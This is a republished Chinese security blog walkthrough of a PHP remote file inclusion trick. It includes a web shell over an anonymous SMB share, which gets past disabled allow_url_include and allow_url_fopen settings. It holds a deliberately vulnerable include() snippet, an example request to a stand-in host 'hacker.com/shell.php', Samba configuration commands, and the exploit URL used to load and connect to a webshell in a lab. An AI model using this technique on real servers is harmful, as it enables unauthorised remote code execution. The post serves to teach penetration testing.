RFI 绕过 URL 包含限制 getshell

栏目: PHP · 发布时间: 6年前

内容简介:前言为什么有今天这篇文章?原因是我在浏览Twitter时,发现关于远程文件包含RFI的一个奇淫技巧!值得记录一下,思路也很新奇!因为它打破我之前以为RFI已死的观点。正文

作者:Ethan

本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!

投稿邮箱:paper@seebug.org

前言

为什么有今天这篇文章?原因是我在浏览Twitter时,发现关于远程文件包含RFI的一个奇淫技巧!值得记录一下,思路也很新奇!因为它打破我之前以为RFI已死的观点。

正文

RFI引出

我们知道 php 最危险的漏洞函数类别之一就是文件包含类的函数,诸如 includeinclude_oncerequire,require_once 语句的时候,都会使用 $_GET 或者是其他未经过滤的变量,这就是一个主要的安全风险。

在PHP应用中,通常会有两个问题导致RFI漏洞。其中之一就是应用程序逻辑错误。这些漏洞产生的原因是本来应该被包含到另一个页面的文件并没有被包含,而是包含了其他文件。当这些文件独立执行时,就没有配置文件来指定这些变量的默认值,如果web应用配置不正确的话,用户就可以自己指定文件作为请求的一部分。

用一个最简单的例子来演示一下RFI

<?php
$file=$_GET['file'];
include($file);
?>

在上面的代码中,file参数从get请求中取值,并且是用户可控的值。file接收到参数值后直接带入到PHP文件中,没有经过任何处理。这样攻击者就可以发起相应的请求,从而让应用程序执行恶意脚本。例如,一个webshell如下:

http://example.com/?file=http://hacker.com/shell.php

通过这样操作,我们就可以远程包含一个shell,造成了RCE,但是这样操作有一个前提,要在 php.ini 中设置如下:

- allow_url_fopen=on
- allow_url_include=on

正常情况下,当这两个设置为off时,这个漏洞是不存在的!

另辟蹊径

PHP和SMB共享文件访问

在PHP配置文件中, allow_url_include 包装器默认设置为“关闭”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使 allow_url_includeallow_url_fopen 都设置为off,PHP也不会阻止SMB URL加载。

攻击场景

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何凭据,易受攻击的应用程序将包含Web shell的PHP代码。

首先我重新配置PHP环境并在php.ini文件中禁用 allow_url_fopen 以及 allow_url_include 。后来配置的SMB服务器具有匿名读访问权限。SMB共享准备就绪后,利用易受攻击的应用程序

PHP环境设置

首先我们要把被攻击主机的php.ini的 allow_url_fopenallow_url_include 设置为Off

RFI 绕过 URL 包含限制 getshell

执行phpinfo查看配置是否成功

RFI 绕过 URL 包含限制 getshell

在继续之前,让我们确保当我们尝试访问受我们控制主机的Web shell时,PHP代码不允许远程文件包含

RFI 绕过 URL 包含限制 getshell

当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有发生RFI!

使用匿名读取访问权限配置SAMBA服务器(Linux)

使用下面的命令安装SAMBA服务器:

apt-get install samba

创建SMB共享目录:

  mkdir /var/www/html/pub/

RFI 绕过 URL 包含限制 getshell

配置新创建的SMB共享目录的权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

RFI 绕过 URL 包含限制 getshell

运行以下提到的命令以删除SAMBA服务器配置文件的默认内容

echo > /etc/samba/smb.conf

将下面的内容放在 /etc/samba/smb.conf 文件中

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重新启动SAMBA服务器以应用配置文件 /etc/samba/smb.conf 中的新配置

service smbd restart

成功重新启动SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求凭据。

在我的例子中,SAMBA服务器IP是192.168.23.129,我需要访问Windows文件浏览器中的SMB共享,如下:

 \\192.168.23.129\

RFI 绕过 URL 包含限制 getshell

在SMB服务器中共享PHP Web shell

在目录 / var / www / html / pub 中共享PHP shell,这是SMB共享指令 ethan 的目录。

这里放了两个shell,一个一句话 ant.php 用来测试蚁剑连接,一个大马 poc.php

RFI 绕过 URL 包含限制 getshell

接下我们开始攻击,首先包含 poc.php 执行我们的大马!

http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\poc.php

RFI 绕过 URL 包含限制 getshell

尝试蚁剑连接一句话!

RFI 绕过 URL 包含限制 getshell

RFI 绕过 URL 包含限制 getshell

Then, we get it!

后记

有时候我们会局限在传统安全思维的禁锢,导致我们的视线范围缩小了许多,因此,打破固有思维,才能发现意想不到的漏洞!

参考链接

http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html


以上所述就是小编给大家介绍的《RFI 绕过 URL 包含限制 getshell》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

ANSI Common Lisp

ANSI Common Lisp

Paul Graham / Prentice Hall / 1995-11-12 / USD 116.40

For use as a core text supplement in any course covering common LISP such as Artificial Intelligence or Concepts of Programming Languages. Teaching students new and more powerful ways of thinking abo......一起来看看 《ANSI Common Lisp》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具